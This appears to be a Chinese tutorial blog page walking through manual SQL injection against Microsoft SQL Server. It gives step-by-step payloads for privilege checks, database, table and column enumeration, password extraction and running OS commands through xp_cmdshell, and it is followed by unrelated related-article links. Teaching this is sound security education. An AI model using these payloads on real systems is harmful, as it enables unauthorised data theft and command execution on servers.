Step1:检测注入点

  

Step2:

  select * from sysobjects   (sysobjects 系统对象表,保存当前数据库的对象)

  select * from users where id=1 and exists(select * from sysobjects)    有结果说明该数据库是mssql

Step3:注入点权限的判断(根据页面显示效果)

  select IS_SRVROLEMEMBER('sysadmin'); 判断当前是否为sa

  select is_srvrolemember('db_owner'); 判断当前用户写文件、读文件的权限(db_owner)

  select is_srvrolemember('public');判断是否有public权限,可以爆破表

Step4:信息收集

  1‘ and (user)=1--

  当前数据库版本: select @@version    = 1  报错

  当前用户:   user

  当前数据库:    select db_name()

    db_name(0) 当前数据库,其中的参数表示第几个数据库

    SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','aspcms');

    SELECT top 1 Name FROM Master..SysDatabases  在系统数据库中能够查询所有的数据库

    where name not in ('master','aspcms')    表示查找的结果不在括号中的集合中

Step5:当前数据库中的表

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0    获取第一个表名

  select top 1 name from test.sys.all_objects where type='U' and is_ms_shipped=0 and name not in (’emails‘)   第二个表名

Step6:获取指定表的字段名

select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users'

第二个字段

select top 1 COLUMN_NAME from test.information_schema.columns where TABLE_NAME='users'  and column_name not in ('id')    //username  出来了

Step7:获取字段内容

select top 1 password from users

MSSQL的xp_cmdshell

判断有没有xp_cmdshell扩展

Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell'(返回值是1就说明有扩展)

exec master.dbo.xp_cmdshell 'whoami'

使用SQLmap对SQLserver进行检测

SQL server 注入 和 SQL server 扩展(10.29 第二十九天)的更多相关文章

  1. SQLmap自动注入工具命令(10.28 10.29 第二十八 二十九天)

    SQL注入工具:明小子  啊D   萝卜头   sqlmap  等等 SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他 ...

  2. (后端)sql手工注入语句&SQL手工注入大全(转)

    转自脚本之家: 看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) f ...

  3. 最新SQL手工注入语句&SQL注入大全

    看看下面的1.判断是否有注入;and 1=1;and 1=2 2.初步判断是否是mssql;and user>0 3.判断数据库系统;and (select count(*) from syso ...

  4. PHP操作MYSQL数据库(10.11 第十九天)

    一.连接及断开数据库 1.使用mysqli 扩展(推荐),只针对mysql数据库 面向对象的方式 $con = new mysqli(ip,user,password); if($con->co ...

  5. Docker入门以及漏洞环境搭建(10.23 第二十五天)

    Docker:开源的应用程序容器引擎,使用Go语言.借助于docker打包的应用程序,将这些应用程序 包含在容器里面,在容器中实现虚拟化,容器使用的是沙箱机制,相互独立,占用资源非常少. Docker ...

  6. Sql server注入一些tips

    sql server环境测试: 几个特性: 1.sql server兼容性可以说是最差的. 举例: select x from y where id=1 字符串查询 select x from y w ...

  7. DataGear 变更部署数据库为SQL Server填坑指南(含转写后的SQL server代码及SQL server配置文件)

    1. 引言 2. 配置数据库链接 3. 引入数据库驱动 4. 手动初始化数据库 5. 改写SQL 6. 其他 7. 参考 1. 引言 DataGear默认使用Derby数据库作为系统的元数据库,至于待 ...

  8. Azure SQL Database (20) 使用SQL Server 2016 Upgrade Advisor

    <Windows Azure Platform 系列文章目录>  Azure SQL Database (19) Stretch Database 概览      Azure SQL Da ...

  9. SQL SERVER如何通过SQL语句获服务器硬件和系统信息

    在SQL SERVER中如何通过SQL语句获取服务器硬件和系统信息呢?下面介绍一下如何通过SQL语句获取处理器(CPU).内存(Memory).磁盘(Disk)以及操作系统相关信息.如有不足和遗漏,敬 ...

随机推荐

  1. 用python发送qq邮件

    一.需要开启smtp服务,获取授权密码. 在qq邮箱的设置里开启smtp 二.代码 # -*- coding:utf-8 -*- import smtplib from email.mime.text ...

  2. 吴裕雄 Bootstrap 前端框架开发——Bootstrap 表单

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title> ...

  3. shell脚本中执行sql脚本并传递参数(mysql为例)

    1.mysql脚本文件 t.sql insert into test.t values(@name,@age); exit 2.shell脚本文件 a.sh  (为方便演示,与t.sql文件放在同一目 ...

  4. CSS相关(1)

    CSS: 字体: 网页默认字体16px; 网站通用字体大小14px 最小是12px,最大无限大 单位换算:1em=16px 选择器:标签选择器:选择页面中所有指定标签,权重为1 通配符选择器:选择所有 ...

  5. Day2-I-Knight's Problem POJ - 3985

    You must have heard of the Knight's Tour problem. In that problem, a knight is placed on an empty ch ...

  6. java核心-多线程(6)-线程池-ThreadPoolExecutor

    1.java多线程编程少不了使用线程池,线程池相关的工具类所在jdk包,java.util.concurrent 2.使用示例 demo1 public class ThreadPoolDemo { ...

  7. unity3d Asset Store下载的资源在哪?

    win7 C:\Users\(用户名)\AppData\Roaming\Unity\Asset Store\ 用户名为中文的时候,是不能直接在unity3d中打开的.

  8. Git如何修改一个过去的Commit

    假设我的git log 如下: commit 5511533dda6fee6982175fafca1f4bd5692e3d9c (HEAD -> trans, origin/trans) Aut ...

  9. java与MySQL数据库的连接

    java与MySQL数据库的连接 1.数据库的安装和建立参见上一篇博客中的第1,2步骤.(http://blog.csdn.net/nuptboyzhb/article/details/8043091 ...

  10. Docker 简单使用笔记

    Docker笔记 安装   首先检查是否已经安装过Docker:yum list installed | grep docker,如果已经安装过需要删除旧的Docker:yum remove dock ...